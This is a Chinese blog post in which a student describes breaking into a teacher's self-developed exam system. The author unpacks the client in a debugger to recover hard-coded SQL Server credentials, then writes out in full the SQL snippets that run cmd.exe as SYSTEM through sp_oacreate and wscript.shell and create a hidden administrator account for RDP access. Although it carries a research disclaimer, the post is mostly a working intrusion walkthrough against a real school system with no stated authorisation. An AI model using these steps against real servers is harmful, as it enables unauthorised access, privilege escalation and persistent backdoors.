前言
这学期上数据库课用到了我校某老师自己开发的一个考试系统软件,然后在一次小测中这垃圾系统我语句明明就是对的,可它编译就一直报错说我语法错误(这不是逼我干他吗? PS:我是开玩笑的,以下操作仅作为测试,用户在测试成功后已删除。This is test !!!
注:此文章仅限于安全研究,违法犯罪与作者无关!
原来bie早就日穿了这垃圾系统.jpg
https://9bie.org/index.php/archives/480/
逆向分析
将程序载入OD这个程序是加了一个ASPack的壳子,直接用ESP定律找到OEP
F9运行到了OEP附近,走过这个retn
现在就来到了OEP(如果你的OD显示的都是db的话用右键->分析->从模块中删除目标扫描
),然后删掉之前下的硬件断点
然后继续单步……(balabala
或者我们直接利用工具将它脱壳然后将其导入,右键->中文搜索引擎->智能搜索
接着搜索字符串password=我们的目的是找数据库的连接信息
然后跟随过去后在段首下一个断点
F9运行程序,发现程序已经段下来了,右边的寄存器窗口中显示的就是连接信息,但不全面
继续F8单步,运行到我们找到的 password=
附近的call,看到堆栈窗口中已经完全显示了连接信息
渗透提权
得到账号密码后,我们就开始sqlserver连接到服务器
这里我们是可以调用cmd执行命令的,whoami
发现是 system
declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\log.txt'
create table tmp_text (lines nvarchar(1000))
bulk insert tmp_text from N'C:\log.txt'
select * from tmp_text
drop table tmp_text
于是我们就开始增加用户并给新建的账号管理员权限
declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add >c:\log.txt'
declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 用户名 /add >c:\log.txt'
create table tmp_text (lines nvarchar(1000))
bulk insert tmp_text from N'C:\log.txt'
select * from tmp_text
drop table tmp_text
最后mstsc成功连上
总结
最后感谢bie的文章以及Helen师傅的帮忙,让不会逆向的我成功日穿了它!!!
PS:以上内容如有表述有误或写错之处,请大佬们更正一二?
最后一次更新于2022-04-25
0 条评论